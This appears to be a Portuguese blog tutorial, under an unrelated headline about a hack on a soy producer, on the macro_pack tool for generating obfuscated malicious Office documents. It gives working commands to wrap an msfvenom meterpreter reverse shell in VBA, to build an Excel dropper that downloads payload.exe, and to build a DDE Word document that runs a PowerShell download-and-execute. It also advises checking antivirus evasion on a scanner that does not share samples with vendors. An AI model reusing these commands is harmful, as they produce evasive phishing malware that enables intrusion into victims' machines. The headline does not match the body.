CJ Selecta: fabricante de derivados de soja sofre ataque de hackers
O macro_pack simplifica o processo de bypass nas soluções antimalware, executando o processo de geração do script “malicioso” na última etapa da geração do documento do Office.
É muito simples de usar:
- Não precisa configurar;
- Tudo pode ser feito utilizando apenas uma linha de código;
- Compatível com a maioria dos formatos do MS Office e VBS;
- Ataques avançados de macros VBA, bem como ataques DDE.
Compatibilidade com ferramentas de pentest
O macro_pack é compatível com payloads gerados por ferramentas populares de pentest (Metasploit, Empire, etc). Também permite combinar com outras ferramentas, pois é possível ler a entrada stdin e ter uma saída silenciosa em outra ferramenta. Foi escrito em Python3 e funciona nas plataformas Linux e Windows.
Obs: é preciso que o Windows esteja com os aplicativos do MS Office instalados, pois isso é necessário para a geração automática de documentos ou para recursos de cavalos de tróia.
Ofuscação
O macro_pack utilizará várias técnicas de ofuscamento, de forma automática. Esta ação é compatível com todos os formatos que podem ser gerados pelo macro_pack, como o VBA ou VBS.
A opção basica (opção -o), inclui:
- Funções para alteração de nomes;
- Alteração de nome das variáveis;
- Remoção de espaços;
- Remoção de comentários;
- Codificação de strings.
Note que o principal objetivo de ofuscação do macro_pack não é evitar a engenharia reversa, mas sim a detecção pelas ferramentas de antivírus.
Formatos suportados
Vários tipos de documentos do MS Office e de scripts podem ser gerados. O formato será adivinhado automaticamente, dependendo da extensão de arquivo fornecida. A geração de arquivos é feita utilizando a opção –generate ou -G.
A versão Pro do macro_pack também permite inserir o trojan em arquivos do Office já existentes, com a opção –trojan ou -T.
Formatos suportados:
- MS Word 97 (.doc)
- MS Word (.docm, .docx)
- MS Excel 97 (.xls)
- MS Excel (.xlsm)
- MS PowerPoint (.pptm)
- MS Visio 97 (.vsd)
- MS Visio (.vsdm)
- MS Project (.mpp)
Formato de script (txt) suportados :
- Arquivo de texto VBA (.vba)
- Arquivo de texto VBS (.vbs)
- Windows Script Host (.wsh)
- Scripts do Windows Script (.wsc, .sct)
- Aplicações em HTML (.hta)
Note que todos os formatos de script também podem ser gerados na versão Linux do macro_pack.
Uso ético
O criador da ferramenta pede que o macro_pack seja utilizado somente por pentesters, pesquisadores de segurança ou por outras pessoas apenas para fins de aprendizagem. Ele condena o uso da ferramenta para ações antiéticas. Sabemos que isso não impedirá o uso por pessoas mal-intencionadas, por isso é que todos os recursos não foram divulgados publicamente.
Sobre a versão Pro
O modo Pro inclui:
- Bypass avançado em soluções antimalware;
- Bypass VBOM
- Auto-decodificação VBA
- Persistência do MS Office
- Inserir trojan em documentos do MS Office existentes;
- Movimento lateral utilizando objetos DCOM
- Anti-debug (http://seclists.org/fulldisclosure/2017/Mar/90)
Por enquanto o autor não pretender lançar ou vender a versão professional, mas ele diz que se você realmente estiver interessado(a), poderá compartilhar a versão pro somente por uma condição:
Precisará contribuir com o macro_pack no GitHub e fornecer a sua identidade real.
É necessário ter:
- No Windows: Como a ferramenta funciona no Python, será necessário realizar o download do pywin32 à partir do endereço: https://sourceforge.net/projects/pywin32/files/pywin32/. Para maiores informações acesse: http://python.org.br/instalacao-windows
- No Linux: Instale o Python3 na sua distro preferida. No caso do Mint/Debian e outros da mesma família, digite o seguinte comando para instalar:
- sudo apt-get install python3
- sudo apt install python3-pip (necessário para instalar os pacotes obrigatórios)
1 – Instalação
1.1 – Executável do Windows
- Pegue o último executável à partir do endereço: https://github.com/sevagas/macro_pack/releases/
- O download do arquivo deve ser realizado em um computador que possua o Microsoft Office;
- Entre no prompt de comando, acesse o diretório onde salvou o executável (cd nomedodiretório) e simplesmente execute o comando abaixo para saber quais parâmetros utilizar:
- macro_pack.exe –help
1.2 – Linux
Acesse o terminal e digite os seguintes comandos:
- git clone https://github.com/sevagas/macro_pack.git
- cd macro_pack
- sudo pip3 install -r requirements.txt
Para executar o macro_pack, apenas digite:
- python3 macro_pack.py –help
ou - phython macro_pack.py –help (caso o Python3 seja a versão default)
Obs: É interessante colocar o caminho do arquivo macro_pack.py nas variáveis de ambiente (PATH) do sistema operacional. Dessa forma, poderá executá-lo à partir de qualquer diretório.
2 – Exemplos de comandos
macro_pack community
2.1 – Gerar arquivo vba no msfvenom para realizar shell reverso
Para técnicas de shell reverso, onde necessita que a vítima execute um arquivo e automaticamente abra um canal de comunicação com o computador do pentester, poderá ser executado o comando abaixo, para esconder um arquivo gerado pelo msfvenom e colocar o resultado em um novo arquivo vba:
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | python3 macro_pack.py -o -G meterobf.vba
Altere o IP acima (192.168.0.5) para o do computador do pentester (o seu no caso :-)).
2.2 – Esconder um arquivo vba dentro de um documento do word gerado posteriormente
Digite o comando abaixo:
- python3 macro_pack.py -f empire.vba -o -G myDoc.docm
2.3 – Gerar um documento do Excel para realizar download de arquivo
Com o comando abaixo, será gerado um arquivo do Excel para que seja realizado automaticamente o download do arquivo payload.exe e armazenado como dropbaped.bexe:
- echo “https://myurl.url/payload.exe” “dropped.exe” | python3 macro_pack.py -o -t DROPPER -G “drop.xlsm”
2.3 – Gere um documento do Word para realizar download de arquivo (utilizando parâmetros de Powershell)
Gere um documento do Word para que seja realizado download de um arquivo via Powershell utilizando o ataque DDE (Dynamic Data Exchange):
python3 macro_pack.py –dde -f ~/macro_pack/resources/community/ps_dl_exec.cmd -G DDE.doc
Obs: Note que no comando acima foi informado o parâmetro ~, para dizer que trata-se do diretório do usuário atual, como por exemplo: /home/joao/macro_pack/resources/community/. Caso não tenha realizado o dowmload do macro_pack dentro do diretório do usuário (o que normalmente não ocorre), informe o caminho completo.
3 – Testando a “eficiência” do arquivo gerado
Nos exemplos acima em que foi gerado um arquivo vba, foi utilizado o site NoDistribute, que executa uma varredura utilizando a engine de vários antivírus, para analisar o arquivo em si.
A vantagem deste site é que ele não compartilha o resultado da varredura com as empresas de antivírus. Pelo menos é o que diz em https://nodistribute.com/faq/.
- Resultado obtido utilizando parâmetros padrão:

- Utilizando a opção -o, para ofuscação:

O macro_pack possui mais funcionalidades, opções que que podem ser utilizadas. Para saber mais acesse o link do repositório no Github em https://github.com/sevagas/macro_pack/
Fonte:
https://www.kitploit.com/2018/01/macropack-tool-used-to-automatize.html